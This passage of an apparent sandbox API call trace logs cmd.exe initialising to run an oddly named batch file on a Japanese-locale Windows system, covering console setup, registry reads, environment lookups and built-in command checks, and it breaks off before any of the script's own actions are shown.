dwLength=0x30 | out: lpBuffer=0x9cb92ffaf0*(BaseAddress=0x9cb9300000, AllocationBase=0x9cb9300000, AllocationProtect=0x4, __alignment1=0xffff9785, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000, __alignment2=0x0)) returned 0x30 [0161.066] GetConsoleOutputCP () returned 0x1b5 [0161.092] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff6e2e6fbb0 | out: lpCPInfo=0x7ff6e2e6fbb0) returned 1 [0161.092] SetConsoleCtrlHandler (HandlerRoutine=0x7ff6e2e58150, Add=1) returned 1 [0161.092] _get_osfhandle (_FileHandle=1) returned 0x50 [0161.092] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x7ff6e2e6fc04 | out: lpMode=0x7ff6e2e6fc04) returned 1 [0161.097] _get_osfhandle (_FileHandle=0) returned 0x4c [0161.097] GetConsoleMode (in: hConsoleHandle=0x4c, lpMode=0x7ff6e2e6fc00 | out: lpMode=0x7ff6e2e6fc00) returned 1 [0161.117] _get_osfhandle (_FileHandle=1) returned 0x50 [0161.117] SetConsoleMode (hConsoleHandle=0x50, dwMode=0x0) returned 1 [0161.122] _get_osfhandle (_FileHandle=1) returned 0x50 [0161.122] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x7ff6e2e6fc08 | out: lpMode=0x7ff6e2e6fc08) returned 1 [0161.125] _get_osfhandle (_FileHandle=1) returned 0x50 [0161.125] SetConsoleMode (hConsoleHandle=0x50, dwMode=0x7) returned 1 [0161.128] _get_osfhandle (_FileHandle=0) returned 0x4c [0161.128] GetConsoleMode (in: hConsoleHandle=0x4c, lpMode=0x7ff6e2e6fc0c | out: lpMode=0x7ff6e2e6fc0c) returned 1 [0161.130] _get_osfhandle (_FileHandle=0) returned 0x4c [0161.130] SetConsoleMode (hConsoleHandle=0x4c, dwMode=0x1e7) returned 1 [0161.131] GetEnvironmentStringsW () returned 0x20b0f925ab0* [0161.131] GetProcessHeap () returned 0x20b0f920000 [0161.131] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xa78) returned 0x20b0f926530 [0161.131] FreeEnvironmentStringsA (penv="A") returned 1 [0161.131] GetProcessHeap () returned 0x20b0f920000 [0161.132] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x8) returned 0x20b0f926fb0 [0161.132] GetEnvironmentStringsW () returned 0x20b0f925ab0* [0161.132] GetProcessHeap () returned 0x20b0f920000 [0161.132] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xa78) returned 0x20b0f926fd0 [0161.132] FreeEnvironmentStringsA (penv="A") returned 1 [0161.132] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x9cb92fea38 | out: phkResult=0x9cb92fea38*=0x88) returned 0x0 [0161.132] RegQueryValueExW (in: hKey=0x88, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x9cb92fea30, lpData=0x9cb92fea50, lpcbData=0x9cb92fea34*=0x1000 | out: lpType=0x9cb92fea30*=0x0, lpData=0x9cb92fea50*=0x4, lpcbData=0x9cb92fea34*=0x1000) returned 0x2 [0161.132] RegQueryValueExW (in: hKey=0x88, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x9cb92fea30, lpData=0x9cb92fea50, lpcbData=0x9cb92fea34*=0x1000 | out: lpType=0x9cb92fea30*=0x4, lpData=0x9cb92fea50*=0x1, lpcbData=0x9cb92fea34*=0x4) returned 0x0 [0161.132] RegQueryValueExW (in: hKey=0x88, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x9cb92fea30, lpData=0x9cb92fea50, lpcbData=0x9cb92fea34*=0x1000 | out: lpType=0x9cb92fea30*=0x0, lpData=0x9cb92fea50*=0x1, lpcbData=0x9cb92fea34*=0x1000) returned 0x2 [0161.132] RegQueryValueExW (in: hKey=0x88, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x9cb92fea30, lpData=0x9cb92fea50, lpcbData=0x9cb92fea34*=0x1000 | out: lpType=0x9cb92fea30*=0x4, lpData=0x9cb92fea50*=0x0, lpcbData=0x9cb92fea34*=0x4) returned 0x0 [0161.132] RegQueryValueExW (in: hKey=0x88, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x9cb92fea30, lpData=0x9cb92fea50, lpcbData=0x9cb92fea34*=0x1000 | out: lpType=0x9cb92fea30*=0x4, lpData=0x9cb92fea50*=0x40, lpcbData=0x9cb92fea34*=0x4) returned 0x0 [0161.132] RegQueryValueExW (in: hKey=0x88, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x9cb92fea30, lpData=0x9cb92fea50, lpcbData=0x9cb92fea34*=0x1000 | out: lpType=0x9cb92fea30*=0x4, lpData=0x9cb92fea50*=0x40, lpcbData=0x9cb92fea34*=0x4) returned 0x0 [0161.132] RegQueryValueExW (in: hKey=0x88, lpValueName="AutoRun", lpReserved=0x0, lpType=0x9cb92fea30, lpData=0x9cb92fea50, lpcbData=0x9cb92fea34*=0x1000 | out: lpType=0x9cb92fea30*=0x0, lpData=0x9cb92fea50*=0x40, lpcbData=0x9cb92fea34*=0x1000) returned 0x2 [0161.132] RegCloseKey (hKey=0x88) returned 0x0 [0161.133] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x9cb92fea38 | out: phkResult=0x9cb92fea38*=0x88) returned 0x0 [0161.133] RegQueryValueExW (in: hKey=0x88, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x9cb92fea30, lpData=0x9cb92fea50, lpcbData=0x9cb92fea34*=0x1000 | out: lpType=0x9cb92fea30*=0x0, lpData=0x9cb92fea50*=0x40, lpcbData=0x9cb92fea34*=0x1000) returned 0x2 [0161.133] RegQueryValueExW (in: hKey=0x88, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x9cb92fea30, lpData=0x9cb92fea50, lpcbData=0x9cb92fea34*=0x1000 | out: lpType=0x9cb92fea30*=0x4, lpData=0x9cb92fea50*=0x1, lpcbData=0x9cb92fea34*=0x4) returned 0x0 [0161.133] RegQueryValueExW (in: hKey=0x88, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x9cb92fea30, lpData=0x9cb92fea50, lpcbData=0x9cb92fea34*=0x1000 | out: lpType=0x9cb92fea30*=0x0, lpData=0x9cb92fea50*=0x1, lpcbData=0x9cb92fea34*=0x1000) returned 0x2 [0161.133] RegQueryValueExW (in: hKey=0x88, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x9cb92fea30, lpData=0x9cb92fea50, lpcbData=0x9cb92fea34*=0x1000 | out: lpType=0x9cb92fea30*=0x4, lpData=0x9cb92fea50*=0x0, lpcbData=0x9cb92fea34*=0x4) returned 0x0 [0161.133] RegQueryValueExW (in: hKey=0x88, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x9cb92fea30, lpData=0x9cb92fea50, lpcbData=0x9cb92fea34*=0x1000 | out: lpType=0x9cb92fea30*=0x4, lpData=0x9cb92fea50*=0x9, lpcbData=0x9cb92fea34*=0x4) returned 0x0 [0161.133] RegQueryValueExW (in: hKey=0x88, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x9cb92fea30, lpData=0x9cb92fea50, lpcbData=0x9cb92fea34*=0x1000 | out: lpType=0x9cb92fea30*=0x4, lpData=0x9cb92fea50*=0x9, lpcbData=0x9cb92fea34*=0x4) returned 0x0 [0161.133] RegQueryValueExW (in: hKey=0x88, lpValueName="AutoRun", lpReserved=0x0, lpType=0x9cb92fea30, lpData=0x9cb92fea50, lpcbData=0x9cb92fea34*=0x1000 | out: lpType=0x9cb92fea30*=0x0, lpData=0x9cb92fea50*=0x9, lpcbData=0x9cb92fea34*=0x1000) returned 0x2 [0161.133] RegCloseKey (hKey=0x88) returned 0x0 [0161.133] time (in: timer=0x0 | out: timer=0x0) returned 0x5f3a560b [0161.133] srand (_Seed=0x5f3a560b) [0161.133] GetCommandLineW () returned="C:\\WINDOWS\\system32\\cmd.exe /c \"\"C:\\BlotRots\\djsfgytdftftyYFGfghffghYYTTT.cmd\" \"" [0161.133] malloc (_Size=0x4000) returned 0x20b0f7154f0 [0161.134] GetCommandLineW () returned="C:\\WINDOWS\\system32\\cmd.exe /c \"\"C:\\BlotRots\\djsfgytdftftyYFGfghffghYYTTT.cmd\" \"" [0161.134] malloc (_Size=0xffce) returned 0x20b0fa20080 [0161.134] ??_V@YAXPEAX@Z () returned 0x20b0fa20080 [0161.135] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x20b0fa20080 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0161.135] malloc (_Size=0xffce) returned 0x20b0fa30060 [0161.135] ??_V@YAXPEAX@Z () returned 0x20b0fa30060 [0161.136] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x20b0fa30060, nSize=0x7fe7 | out: lpFilename="C:\\WINDOWS\\system32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe")) returned 0x1b [0161.136] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff6e2e6bb90, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb [0161.136] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff6e2e6bb90, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0161.136] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x7ff6e2e6bb90, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0161.136] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13 [0161.136] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11 [0161.136] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13 [0161.137] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13 [0161.137] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12 [0161.137] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4 [0161.137] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2 [0161.137] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8 [0161.137] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1 [0161.137] GetProcessHeap () returned 0x20b0f920000 [0161.137] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f926530) returned 1 [0161.137] GetEnvironmentStringsW () returned 0x20b0f928520* [0161.137] GetProcessHeap () returned 0x20b0f920000 [0161.137] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xa90) returned 0x20b0f925ab0 [0161.137] FreeEnvironmentStringsA (penv="A") returned 1 [0161.137] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x7ff6e2e6bb90, nSize=0x2000 | out: lpBuffer="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1b [0161.137] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x7ff6e2e6bb90, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0161.137] _wcsicmp (_String1="KEYS", _String2="CD") returned 8 [0161.137] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6 [0161.137] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8 [0161.137] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8 [0161.137] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7 [0161.137] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9 [0161.138] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7 [0161.138] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3 [0161.138] malloc (_Size=0xffce) returned 0x20b0fa40040 [0161.138] ??_V@YAXPEAX@Z () returned 0x20b0fa40040 [0161.138] GetProcessHeap () returned 0x20b0f920000 [0161.138] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x38) returned 0x20b0f926550 [0161.139] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x20b0fa40040 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0161.139] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32", nBufferLength=0x7fe7, lpBuffer=0x20b0fa40040, lpFilePart=0x9cb92ff5b0 | out: lpBuffer="C:\\WINDOWS\\system32", lpFilePart=0x9cb92ff5b0*="system32") returned 0x13 [0161.139] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32" (normalized: "c:\\windows\\system32")) returned 0x10 [0161.139] FindFirstFileW (in: lpFileName="C:\\WINDOWS", lpFindFileData=0x9cb92ff2e0 | out: lpFindFileData=0x9cb92ff2e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c4849dd, ftCreationTime.dwHighDateTime=0x1d29fdc, ftLastAccessTime.dwLowDateTime=0x345c13e6, ftLastAccessTime.dwHighDateTime=0x1d5d695, ftLastWriteTime.dwLowDateTime=0x345c13e6, ftLastWriteTime.dwHighDateTime=0x1d5d695, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 0x20b0f926590 [0161.140] FindClose (in: hFindFile=0x20b0f926590 | out: hFindFile=0x20b0f926590) returned 1 [0161.140] FindFirstFileW (in: lpFileName="C:\\Windows\\system32", lpFindFileData=0x9cb92ff2e0 | out: lpFindFileData=0x9cb92ff2e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c4849dd, ftCreationTime.dwHighDateTime=0x1d29fdc, ftLastAccessTime.dwLowDateTime=0xa55ee53a, ftLastAccessTime.dwHighDateTime=0x1d5e1c4, ftLastWriteTime.dwLowDateTime=0xa55ee53a, ftLastWriteTime.dwHighDateTime=0x1d5e1c4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System32", cAlternateFileName="")) returned 0x20b0f926590 [0161.140] FindClose (in: hFindFile=0x20b0f926590 | out: hFindFile=0x20b0f926590) returned 1 [0161.140] GetFileAttributesW (lpFileName="C:\\Windows\\System32" (normalized: "c:\\windows\\system32")) returned 0x10 [0161.140] SetCurrentDirectoryW (lpPathName="C:\\Windows\\System32" (normalized: "c:\\windows\\system32")) returned 1 [0161.140] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Windows\\System32") returned 1 [0161.141] GetProcessHeap () returned 0x20b0f920000 [0161.141] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f925ab0) returned 1 [0161.141] GetEnvironmentStringsW () returned 0x20b0f928ff0* [0161.141] GetProcessHeap () returned 0x20b0f920000 [0161.141] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xac0) returned 0x20b0f929ac0 [0161.141] FreeEnvironmentStringsA (penv="=") returned 1 [0161.141] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x20b0fa20080 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0161.141] GetProcessHeap () returned 0x20b0f920000 [0161.141] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f926550) returned 1 [0161.141] ??_V@YAXPEAX@Z () returned 0x1 [0161.141] ??_V@YAXPEAX@Z () returned 0x1 [0161.141] GetProcessHeap () returned 0x20b0f920000 [0161.141] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x4016) returned 0x20b0f92a590 [0161.142] GetProcessHeap () returned 0x20b0f920000 [0161.142] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x78) returned 0x20b0f920fc0 [0161.142] GetProcessHeap () returned 0x20b0f920000 [0161.142] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x4010) returned 0x20b0f92e5b0 [0161.142] GetProcessHeap () returned 0x20b0f920000 [0161.142] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x4010) returned 0x20b0f9325d0 [0161.143] GetProcessHeap () returned 0x20b0f920000 [0161.143] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f92a590) returned 1 [0161.143] GetConsoleOutputCP () returned 0x1b5 [0161.145] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff6e2e6fbb0 | out: lpCPInfo=0x7ff6e2e6fbb0) returned 1 [0161.145] GetUserDefaultLCID () returned 0x411 [0161.147] GetLocaleInfoW (in: Locale=0x411, LCType=0x1e, lpLCData=0x7ff6e2e6bb78, cchData=8 | out: lpLCData=":") returned 2 [0161.147] GetLocaleInfoW (in: Locale=0x411, LCType=0x23, lpLCData=0x9cb92ff970, cchData=128 | out: lpLCData="1") returned 2 [0161.147] GetLocaleInfoW (in: Locale=0x411, LCType=0x21, lpLCData=0x9cb92ff970, cchData=128 | out: lpLCData="2") returned 2 [0161.147] GetLocaleInfoW (in: Locale=0x411, LCType=0x24, lpLCData=0x9cb92ff970, cchData=128 | out: lpLCData="1") returned 2 [0161.147] GetLocaleInfoW (in: Locale=0x411, LCType=0x1d, lpLCData=0x7ff6e2e6bb68, cchData=8 | out: lpLCData="/") returned 2 [0161.147] GetLocaleInfoW (in: Locale=0x411, LCType=0x31, lpLCData=0x7ff6e2e6bb00, cchData=32 | out: lpLCData="月") returned 2 [0161.147] GetLocaleInfoW (in: Locale=0x411, LCType=0x32, lpLCData=0x7ff6e2e6bac0, cchData=32 | out: lpLCData="火") returned 2 [0161.147] GetLocaleInfoW (in: Locale=0x411, LCType=0x33, lpLCData=0x7ff6e2e6ba80, cchData=32 | out: lpLCData="水") returned 2 [0161.147] GetLocaleInfoW (in: Locale=0x411, LCType=0x34, lpLCData=0x7ff6e2e6ba40, cchData=32 | out: lpLCData="木") returned 2 [0161.147] GetLocaleInfoW (in: Locale=0x411, LCType=0x35, lpLCData=0x7ff6e2e6ba00, cchData=32 | out: lpLCData="金") returned 2 [0161.147] GetLocaleInfoW (in: Locale=0x411, LCType=0x36, lpLCData=0x7ff6e2e6b9c0, cchData=32 | out: lpLCData="土") returned 2 [0161.147] GetLocaleInfoW (in: Locale=0x411, LCType=0x37, lpLCData=0x7ff6e2e6b980, cchData=32 | out: lpLCData="日") returned 2 [0161.147] GetLocaleInfoW (in: Locale=0x411, LCType=0xe, lpLCData=0x7ff6e2e6bb58, cchData=8 | out: lpLCData=".") returned 2 [0161.148] GetLocaleInfoW (in: Locale=0x411, LCType=0xf, lpLCData=0x7ff6e2e6bb40, cchData=8 | out: lpLCData=",") returned 2 [0161.148] setlocale (category=0, locale=".OCP") returned="Japanese_Japan.932" [0161.150] GetProcessHeap () returned 0x20b0f920000 [0161.150] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x0, Size=0x20c) returned 0x20b0f9217b0 [0161.150] GetConsoleTitleW (in: lpConsoleTitle=0x20b0f9217b0, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c [0161.152] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x7ff9e80b0000 [0161.152] GetProcAddress (hModule=0x7ff9e80b0000, lpProcName="CopyFileExW") returned 0x7ff9e80ce830 [0161.152] GetProcAddress (hModule=0x7ff9e80b0000, lpProcName="IsDebuggerPresent") returned 0x7ff9e80ce300 [0161.152] GetProcAddress (hModule=0x7ff9e80b0000, lpProcName="SetConsoleInputExeNameW") returned 0x7ff9e5ab0a40 [0161.152] ??_V@YAXPEAX@Z () returned 0x1 [0161.152] GetProcessHeap () returned 0x20b0f920000 [0161.152] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x4012) returned 0x20b0f92a590 [0161.152] GetProcessHeap () returned 0x20b0f920000 [0161.152] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f92a590) returned 1 [0161.153] _wcsicmp (_String1="\"C:\\BlotRots\\djsfgytdftftyYFGfghffghYYTTT.cmd\"", _String2=")") returned -7 [0161.153] _wcsicmp (_String1="FOR", _String2="\"C:\\BlotRots\\djsfgytdftftyYFGfghffghYYTTT.cmd\"") returned 68 [0161.153] _wcsicmp (_String1="FOR/?", _String2="\"C:\\BlotRots\\djsfgytdftftyYFGfghffghYYTTT.cmd\"") returned 68 [0161.153] _wcsicmp (_String1="IF", _String2="\"C:\\BlotRots\\djsfgytdftftyYFGfghffghYYTTT.cmd\"") returned 71 [0161.154] _wcsicmp (_String1="IF/?", _String2="\"C:\\BlotRots\\djsfgytdftftyYFGfghffghYYTTT.cmd\"") returned 71 [0161.154] _wcsicmp (_String1="REM", _String2="\"C:\\BlotRots\\djsfgytdftftyYFGfghffghYYTTT.cmd\"") returned 80 [0161.154] _wcsicmp (_String1="REM/?", _String2="\"C:\\BlotRots\\djsfgytdftftyYFGfghffghYYTTT.cmd\"") returned 80 [0161.154] GetProcessHeap () returned 0x20b0f920000 [0161.154] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xb0) returned 0x20b0f927a80 [0161.154] GetProcessHeap () returned 0x20b0f920000 [0161.154] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x6e) returned 0x20b0f927b40 [0161.154] GetProcessHeap () returned 0x20b0f920000 [0161.154] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x14) returned 0x20b0f9219d0 [0161.154] GetConsoleTitleW (in: lpConsoleTitle=0x9cb92ff860, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c [0161.155] malloc (_Size=0xffce) returned 0x20b0fa30060 [0161.155] ??_V@YAXPEAX@Z () returned 0x20b0fa30060 [0161.156] malloc (_Size=0xffce) returned 0x20b0fa40040 [0161.156] ??_V@YAXPEAX@Z () returned 0x20b0fa40040 [0161.156] GetFileAttributesW (lpFileName="\"C:\\BlotRots\\djsfgytdftftyYFGfghffghYYTTT.cmd\"" (normalized: "c:\\windows\\system32\\\"c:\\blotrots\\djsfgytdftftyyfgfghffghyyttt.cmd\"")) returned 0xffffffff [0161.157] _wcsicmp (_String1="\"C", _String2="DIR") returned -66 [0161.157] _wcsicmp (_String1="\"C", _String2="ERASE") returned -67 [0161.157] _wcsicmp (_String1="\"C", _String2="DEL") returned -66 [0161.157] _wcsicmp (_String1="\"C", _String2="TYPE") returned -82 [0161.157] _wcsicmp (_String1="\"C", _String2="COPY") returned -65 [0161.157] _wcsicmp (_String1="\"C", _String2="CD") returned -65 [0161.157] _wcsicmp (_String1="\"C", _String2="CHDIR") returned -65 [0161.157] _wcsicmp (_String1="\"C", _String2="RENAME") returned -80 [0161.157] _wcsicmp (_String1="\"C", _String2="REN") returned -80 [0161.157] _wcsicmp (_String1="\"C", _String2="ECHO") returned -67 [0161.157] _wcsicmp (_String1="\"C", _String2="SET") returned -81 [0161.157] _wcsicmp (_String1="\"C", _String2="PAUSE") returned -78 [0161.157] _wcsicmp (_String1="\"C", _String2="DATE") returned -66 [0161.157] _wcsicmp (_String1="\"C", _String2="TIME") returned -82 [0161.157] _wcsicmp (_String1="\"C", _String2="PROMPT") returned -78 [0161.157] _wcsicmp (_String1="\"C", _String2="MD") returned -75 [0161.157] _wcsicmp (_String1="\"C", _String2="MKDIR") returned -75 [0161.157] _wcsicmp (_String1="\"C", _String2="RD") returned -80 [0161.157] _wcsicmp (_String1="\"C", _String2="RMDIR") returned -80 [0161.157] _wcsicmp (_String1="\"C", _String2="PATH") returned -78 [0161.157] _wcsicmp (_String1="\"C", _String2="GOTO") returned -69 [0161.157] _wcsicmp (_String1="\"C", _String2="SHIFT") returned -81 [0161.157] _wcsicmp (_String1="\"C", _String2="CLS") returned -65 [0161.157] _wcsicmp (_String1="\"C", _String2="CALL") returned -65 [0161.157] _wcsicmp (_String1="\"C", _String2="VERIFY") returned -84 [0161.157] _wcsicmp (_String1="\"C", _String2="VER") returned -84 [0161.157] _wcsicmp (_String1="\"C", _String2="VOL") returned -84 [0161.157] _wcsicmp (_String1="\"C", _String2="EXIT") returned -67 [0161.157] _wcsicmp (_String1="\"C", _String2="SETLOCAL") returned -81 [0161.157] _wcsicmp (_String1="\"C", _String2="ENDLOCAL") returned -67 [0161.158] _wcsicmp (_String1="\"C", _String2="TITLE") returned -82 [0161.158] _wcsicmp (_String1="\"C", _String2="START") returned -81 [0161.158] _wcsicmp (_String1="\"C", _String2="DPATH") returned -66 [0161.158] _wcsicmp (_String1="\"C", _String2="KEYS") returned -73 [0161.158] _wcsicmp (_String1="\"C", _String2="MOVE") returned -75 [0161.158] _wcsicmp (_String1="\"C", _String2="PUSHD") returned -78 [0161.158] _wcsicmp (_String1="\"C", _String2="POPD") returned -78 [0161.158] _wcsicmp (_String1="\"C", _String2="ASSOC") returned -63 [0161.158] _wcsicmp (_String1="\"C", _String2="FTYPE") returned -68 [0161.158] _wcsicmp (_String1="\"C", _String2="BREAK") returned -64 [0161.158] _wcsicmp (_String1="\"C", _String2="COLOR") returned -65 [0161.158] _wcsicmp (_String1="\"C", _String2="MKLINK") returned -75 [0161.158] _wcsicmp (_String1="\"C", _String2="DIR") returned -66 [0161.158] _wcsicmp (_String1="\"C", _String2="ERASE") returned -67 [0161.158] _wcsicmp (_String1="\"C", _String2="DEL") returned -66 [0161.158] _wcsicmp (_String1="\"C", _String2="TYPE") returned -82 [0161.158] _wcsicmp (_String1="\"C", _String2="COPY") returned -65 [0161.158] _wcsicmp (_String1="\"C", _String2="CD") returned -65 [0161.158] _wcsicmp (_String1="\"C", _String2="CHDIR") returned -65 [0161.158] _wcsicmp (_String1="\"C", _String2="RENAME") returned -80 [0161.158] _wcsicmp (_String1="\"C", _String2="REN") returned -80 [0161.158] _wcsicmp (_String1="\"C", _String2="ECHO") returned -67 [0161.158] _wcsicmp (_String1="\"C", _String2="SET") returned -81 [0161.158] _wcsicmp (_String1="\"C", _String2="PAUSE") returned -78 [0161.158] _wcsicmp (_String1="\"C", _String2="DATE") returned -66 [0161.158] _wcsicmp (_String1="\"C", _String2="TIME") returned -82 [0161.158] _wcsicmp (_String1="\"C", _String2="PROMPT") returned -78 [0161.158] _wcsicmp (_String1="\"C", _String2="MD") returned -75 [0161.158] _wcsicmp (_String1="\"C", _String2="MKDIR") returned -75 [0161.158] _wcsicmp (_String1="\"C", _String2="RD") returned -80 [0161.158] _wcsicmp (_String1="\"C", _String2="RMDIR") returned -80 [0161.158] _wcsicmp (_String1="\"C", _String2="PATH") returned -78 [0161.158] _wcsicmp (_String1="\"C", _String2="GOTO") returned -69 [0161.159] _wcsicmp (_String1="\"C", _String2="SHIFT") returned -81 [0161.159] _wcsicmp (_String1="\"C", _String2="CLS") returned -65 [0161.159] _wcsicmp (_String1="\"C", _String2="CALL") returned -65 [0161.159] _wcsicmp (_String1="\"C", _String2="VERIFY") returned -84 [0161.159] _wcsicmp (_String1="\"C", _String2="VER") returned -84 [0161.159] _wcsicmp (_String1="\"C", _String2="VOL") returned -84 [0161.159] _wcsicmp (_String1="\"C", _String2="EXIT") returned -67 [0161.159] _wcsicmp (_String1="\"C", _String2="SETLOCAL") returned -81 [0161.159] _wcsicmp (_String1="\"C", _String2="ENDLOCAL") returned -67 [0161.159] _wcsicmp (_String1="\"C", _String2="TITLE") returned -82 [0161.159] _wcsicmp (_String1="\"C", _String2="START") returned -81 [0161.159] _wcsicmp (_String1="\"C", _String2="DPATH") returned -66 [0161.159] _wcsicmp (_String1="\"C", _String2="KEYS") returned -73 [0161.159] _wcsicmp (_String1="\"C", _String2="MOVE") returned -75 [0161.159] _wcsicmp (_String1="\"C", _String2="PUSHD") returned -78 [0161.159] _wcsicmp (_String1="\"C", _String2="POPD") returned -78 [0161.159] _wcsicmp (_String1="\"C", _String2="ASSOC") returned -63 [0161.159] _wcsicmp (_String1="\"C", _String2="FTYPE") returned -68 [0161.159] _wcsicmp (_String1="\"C", _String2="BREAK") returned -64 [0161.159] _wcsicmp (_String1="\"C", _String2="COLOR") returned -65 [0161.159] _wcsicmp (_String1="\"C", _String2="MKLINK") returned -75 [0161.159] _wcsicmp (_String1="\"C", _String2="FOR") returned -68 [0161.159] _wcsicmp (_String1="\"C", _String2="IF") returned -71 [0161.159] _wcsicmp (_String1="\"C", _String2="REM") returned -80 [0161.159] ??_V@YAXPEAX@Z () returned 0x1 [0161.159] GetProcessHeap () returned 0x20b0f920000 [0161.159] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xffde) returned 0x20b0f9365f0 [0161.160] GetProcessHeap () returned 0x20b0f920000 [0161.160] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x72) returned 0x20b0f927bc0 [0161.161] _wcsnicmp (_String1="C:\\B", _String2="cmd ", _MaxCount=0x4) returned -51 [0161.161] malloc (_Size=0xffce) returned 0x20b0fa40040 [0161.161] ??_V@YAXPEAX@Z () returned 0x20b0fa40040 [0161.161] GetProcessHeap () returned 0x20b0f920000 [0161.161] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x1ffac) returned 0x20b0f9465e0 